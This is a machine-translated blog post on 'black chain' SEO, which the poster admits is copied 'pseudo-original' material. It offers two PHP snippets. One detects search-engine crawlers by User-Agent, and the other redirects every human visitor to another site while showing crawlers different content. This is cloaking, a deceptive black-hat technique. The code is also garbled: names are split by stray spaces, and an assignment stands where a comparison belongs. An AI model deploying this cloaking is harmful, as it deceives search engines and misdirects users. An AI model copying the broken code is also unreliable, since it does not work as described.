Prepare for formal SEO. The black chain code is still used, but it is a little special. Of course, test whether it is feasible first.
You need to get a PHP document to record whether the visitor is a spider or a common user. Specifically, it is determined based on php's $ _ SERVER ['HTTP _ USER_AGENT '].
The Code is as follows:
<? Php
$ Tmp = $ _ SERVER ['HTTP _ USER_AGENT '];
If (strpos ($ tmp, 'googlebot ')! = False ){
Echo 'Google ';
} Else if (strpos ($ tmp, 'baidider ider ')> 0 ){
Echo 'Baidu ';
} Else if (strpos ($ tmp, 'yahoo! Slurp ')! = False ){
Echo 'yahoo ';
} Else if (strpos ($ tmp, 'msnbot ')! = False ){
Echo 'msn ';
} Else if (strpos ($ tmp, 'sosospider ')! = False ){
Echo 'search ';
} Else if (strpos ($ tmp, 'yodaobot ')! = False | strpos ($ tmp, 'outfoxbot ')! = False ){
Echo 'youdao ';
} Else if (strpos ($ tmp, 'sogou web spider ')! = False | strpos ($ tmp, 'sogou Orion spider ')! = False ){
Echo 'sogou ';
} Else if (strpos ($ tmp, 'fast-webcrawler ')! = False ){
Echo 'alltheweb ';
} Else if (strpos ($ tmp, 'gaisbot ')! = False ){
Echo 'gaais ';
} Else if (strpos ($ tmp, 'ia _ archiver ')! = False ){
Echo 'Alexa ';
} Else if (strpos ($ tmp, 'altavista ')! = False ){
Echo 'maid ';
} Else if (strpos ($ tmp, 'lycos _ spider ')! = False ){
Echo 'lycos ';
} Else if (strpos ($ tmp, 'inktomi slurp ')! = False ){
Echo 'inktomi ';
}
?>
The following are from Baidu, of course, Baidu. I am only responsible for the article "pseudo-original"
Www.2cto.com
<? Php
$ Flag = false;
$ Tmp = $ _ SERVER ['HTTP _ USER_AGENT '];
If (strpos ($ tmp, 'googlebot ')! = False ){
$ Flag = true;
} Else if (strpos ($ tmp, 'baidider ider ')> 0 ){
$ Flag = true;
} Else if (strpos ($ tmp, 'yahoo! Slurp ')! = False ){
$ Flag = true;
} Else if (strpos ($ tmp, 'msnbot ')! = False ){
$ Flag = true;
} Else if (strpos ($ tmp, 'sosospider ')! = False ){
$ Flag = true;
} Else if (strpos ($ tmp, 'yodaobot ')! = False | strpos ($ tmp, 'outfoxbot ')! = False ){
$ Flag = true;
} Else if (strpos ($ tmp, 'sogou web spider ')! = False | strpos ($ tmp, 'sogou Orion spider ')! = False ){
$ Flag = true;
} Else if (strpos ($ tmp, 'fast-webcrawler ')! = False ){
$ Flag = true;
} Else if (strpos ($ tmp, 'gaisbot ')! = False ){
$ Flag = true;
} Else if (strpos ($ tmp, 'ia _ archiver ')! = False ){
$ Flag = true;
} Else if (strpos ($ tmp, 'altavista ')! = False ){
$ Flag = true;
} Else if (strpos ($ tmp, 'lycos _ spider ')! = False ){
$ Flag = true;
} Else if (strpos ($ tmp, 'inktomi slurp ')! = False ){
$ Flag = true;
}
If ($ flag = false ){
Header ("Location: http://www.hao123.com". $ _ SERVER ['request _ URI ']);
// Automatically go to the page corresponding to the http://www.hao123.com
// $ _ SERVER ['request _ URI '] indicates the path after the Domain Name
// Or change to header ("Location: http://www.hao123.com/abc/d.php ");
Exit ();
}
?>
From http://www.xssxss.com/fuck/505.xss